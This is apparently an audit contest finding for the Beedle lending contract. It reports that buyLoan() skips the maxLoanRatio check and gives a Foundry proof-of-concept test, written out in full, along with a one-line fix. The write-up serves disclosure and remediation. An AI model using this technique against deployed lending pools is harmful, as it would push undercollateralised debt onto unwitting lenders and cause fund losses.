20,000 USDC
View results
Submission Details
Severity: high
Valid

Borrower can bypass maxLoanRatio's configuration of a pool via buyLoan()

Summary

In buyLoan(), there is no validation if the loanRation < pool.maxLoanRatio. Therefore, a lender can be given a loan with higher LTV than his pool which he doesn't want at all.

Vulnerability Details

Since buyLoan() can be called by anyone, a malicious borrower can borrow a loan from his own pool with a pretty high maxLoanRatio so that he can put the least collateral possible to take the loan, then forcefully push this loan by calling buyLoan() with his own loan to a random pool with enough pool balance of the pairs. Doing this helps the borrower avoid the risk of high LTV.

POC

  1. We mint the loanToken to borrower so that he can set up his pool in setUp() function of Lender.t.sol

+ loanToken.mint(address(borrower), 100000 * 10 ** 18);
  1. Paste this code into Lender.t.sol: https://github.com/Cyfrin/2023-07-beedle/blob/main/test/Lender.t.sol.
    Right here the borrower set up his pool with very high maxLoanRatio of 5 and borrow the loan himself/herself.

function test_borrowPoc() public {
vm.startPrank(borrower);
Pool memory p = Pool({
lender: borrower,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 5 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(collateralToken.balanceOf(address(lender)), 100 * 10 ** 18);
(, , , , poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 900 * 10 ** 18);
}
  1. Paste this code into Lender.t.sol: https://github.com/Cyfrin/2023-07-beedle/blob/main/test/Lender.t.sol.
    Right here the borrower starts the auction for his loan and call buyLoan() with the pool of lender1, which only has the maxLoanRatio value of 1. The test goes through successfully, meaning the loan is bought to the new pool and the borrower can now enjoy his high LTV loan being managed by the new pool (lender1)

function test_bypassMaxLoanRatio() public {
test_borrowPoc();
// accrue interest
vm.warp(block.timestamp + 1 days);
// kick off auction
vm.startPrank(borrower);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 1 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
vm.startPrank(borrower);
lender.buyLoan(0, poolId);
}

Use forge test --mt test_bypassMaxLoanRatio to run this test case.

Impact

  1. Borrower can give his high LTV loan to any pool with enough balance by calling buyLoan() to escape the risk of high LTV.

  2. Anyone or the new lender himself/herself can buy the loan via buyLoan() without noticing the high LTV in it, which may lead to fund losing.

Tools Used

Manual

Recommendations

Consider implement a validation for the loan ratio like other functions in the contract after line 485.

485 uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
+ uint256 loanRatio = (totalDebt * 10 ** 18) / loan.collateral;
+ if (loanRatio > pools[poolId].maxLoanRatio) revert RatioTooHigh();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.